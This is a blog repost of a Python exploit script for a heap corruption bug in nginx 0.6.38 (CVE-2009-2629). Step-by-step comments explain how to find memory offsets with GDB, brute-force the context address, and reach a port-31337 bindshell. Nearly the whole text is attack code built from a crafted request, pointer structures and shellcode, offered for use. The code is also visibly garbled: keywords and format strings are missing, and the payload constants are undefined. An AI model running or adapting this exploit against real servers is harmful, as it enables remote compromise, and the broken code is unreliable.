6 Eylül 2010 Pazartesi

nginx v0.6.38 Heap Corruption Exploit

#!/usr/bin/env python
# Exploit Title: nginx heap corruption
# Date: 08/26/2010
# Author: aaron conole
# Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz
# Version: <= 0.6.38, <= 0.7.61
# Tested on: BT4R1 running nginx 0.6.38 locally
# CVE: 2009-2629
# note: this was written and tested against BT4. This means it's an
#       intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV
#       also - only tested successfully against nginx 0.6.38
#              you'll definitely need to modify against other versions
# you'll need to know where the offset is going to land, and what the pad is
# from that point to when you've tained execution flow.
# A quick way to find out just for verification would be to launch nginx,
# attach GDB to the worker and target it with the exploit, setting the offset
# to 0, or some other arbitrary value. It should crash on a piece of code which
# resembles:
#   if (ctx->offset)
# At that point, merely dump the *r; capture the value for the data pointer
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the
# hex pointer value). That should give you a good area to test with. You might
# want to use the range at that point and set the last octet to 00.
# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet
#       found a "magic" combination that would cause the state machine to do
#       what I want to make the bug trigger. Once I do, you can bet BUG will be
#       replaced.
#Basically, on BT4:
#- compile
#- edit the configuration to enable merge slashes (just insert a line above the sendpage / sendfile config option "merge_slashes off;")
#- Launch nginx, and attach GDB to the worker
#- Send the exploit at it with offset 0x11111111
#- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r"
#- In the r data structure will be a few different fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (lets say 0x8c1d32f).
#- Save off this address, and detach from the worker. A new one will spawn (the "manager" process will keep it going).
#- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag
#- In a minute or two, you should be given the shell.
import os
import sys
import socket
import select
import struct
import time
import urllib
# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)
# NOTE - this shellcode was shamelessly stolen from the www
#        port 31337 bindshell for /bin/sh
# Why did I write this up this way? Because given enough time, I think I can
# find a proper set of state change which can give me the same effect (ie: ../
# appearing as the 3rd, 4th, and 5th characters) at a later date.
# That's all controlled by the complex uri parsing bit, though.
# taken from the metasploit pattern_create.rb
def connect_socket(host,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect( (host, port) )
        return 0
    return sock
def handle_connection(sock):
        r, w, e = select.select( [sock, sys.stdin],
                                 [sock, sys.stdin] )
        for s in r:
            if s == sys.stdin:
                buf = sys.stdin.readline()
                    if buf != '':
                    print "Xon close?"
                    return 0
            elif s == sock:
                    buf = sock.recv(100)
                    print "Xon close?"
                    return 0
                if buf != '':
def main(argv):
    argc = len(argv)
    if argc < 4:
        print "usage: %s [-b]" % (argv[0])
        print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"
        print "[*] host = the remote host name"
        print "[*] port = the remote port"
        print "[*] ctx_addr is where the context address should begin at"
        print "[*] -b specifies a brute-force (which will start at ctx_addr"
    host = argv[1]
    port = int(argv[2])
    ctx_addr = int(argv[3],16)
    brute_flag = 0
    if(argc == 5):
        brute_flag = 1
    testing = 1
    print "[*] target: %s:%d" % (host, port)
        sd = urllib.urlopen("http://%s:%d" % (host, port))
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
    print "[*] sending exploit string to %s:%d" % (host, port)
        CTX_ADDRESS = struct.pack(',ctx_addr)
        CTX_OUT_ADDRESS = struct.pack(', ctx_addr-60)
        POOL_ADDRESS = struct.pack(',ctx_addr+56)
        DATA_ADDRESS = struct.pack(',ctx_addr+86)
        RANGE_ADDRESS = struct.pack(',ctx_addr+124)
        SHELL_ADDRESS = struct.pack(',ctx_addr+128)
        #the output context structure
        #this is the context object - some null ptrs, then we set range, then
        #pool address
        #this is the data buffer object
        #this is the pool memory structure ..
        # this is the range structure
        payload = REQUEST_METHOD
        payload += BUG
        payload += SHELLCODE
        payload += ' HTTP/1.0\r\n\r\n'
        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sd.connect((host, port))
        if (brute_flag):
            nsock = connect_socket(host,31337)
            if nsock != 0:
                print "[*] Successful Exploit via buffer: %x" % (ctx_addr)
                testing = 0
                ctx_addr = ctx_addr + 1
            testing = 0
    print "[*] FIN."
if __name__ == "__main__":

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